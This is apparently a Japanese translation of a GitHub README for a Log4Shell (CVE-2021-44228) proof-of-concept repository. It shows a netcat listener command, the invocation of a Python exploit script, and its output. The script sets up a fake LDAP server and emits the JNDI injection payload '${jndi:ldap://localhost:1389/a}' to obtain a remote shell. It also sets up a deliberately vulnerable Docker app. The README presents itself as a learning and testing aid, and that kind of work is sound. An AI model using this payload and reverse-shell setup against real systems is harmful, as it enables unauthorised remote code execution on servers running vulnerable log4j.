最近発見された CVE-2021-44228 脆弱性の概念実証。
最近、elasticsearch、minecraft、その他多数の製品で非常に広く使用されている Java ロギング ライブラリである log4j に新しい脆弱性がありました。
このリポジトリには、脆弱なアプリケーションの例と、そのアプリケーションの概念実証 (POC) 悪用が含まれています。
PoC として、プロセスを自動化する Python ファイルがあります。
pip install -r requirements.txt
nc - lvnp 9001
jdk1.8.0_20
という名前が付けられ、同じディレクトリに存在する必要があります。 $ python3 poc . py - - userip localhost - - webport 8000 - - lport 9001
[!] CVE : CVE - 2021 - 44228
[!] Github repo : https : // github . com / kozmer / log4j - shell - poc
[ + ] Exploit java class created success
[ + ] Setting up fake LDAP server
[ + ] Send me : ${ jndi : ldap : // localhost : 1389 / a }
Listening on 0.0 . 0.0 : 1389
このスクリプトは、HTTP サーバーと LDAP サーバーをセットアップし、脆弱なパラメーターに貼り付けるために使用できるペイロードも作成します。この後、すべてがうまくいけば、lport でシェルを取得できるはずです。
脆弱な Web アプリを含む Dockerfile があります。以下の手順に従ってこれを使用できます。
1 : docker build - t log4j - shell - poc .
2 : docker run -- network host log4j - shell - poc
実行すると、localhost:8080 でアクセスできるようになります。
ありがたいことに、Oracle は以前のすべての Java バージョンのアーカイブを提供しています。
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html。
8u20
まで下にスクロールし、オペレーティング システムとハードウェアに適切なファイルをダウンロードします。
注:パッケージをダウンロードするにはアカウントを作成する必要があります。
アーカイブをダウンロードして解凍すると、 jdk1.8.0_20/bin
にjava
といくつかの関連バイナリが見つかります。
注: jdk フォルダーが機能するためには、必ず同じ名前でこのリポジトリに jdk フォルダーを抽出してください。
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
このリポジトリは、CVE-2021-44228 をワンクリックで悪用することを目的としたものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、おそらく独自のアプリケーションをテストできるようにすることです (ただし、この目的にはもっと優れたアプリケーションがあります (例: https://log4shell.tools/))。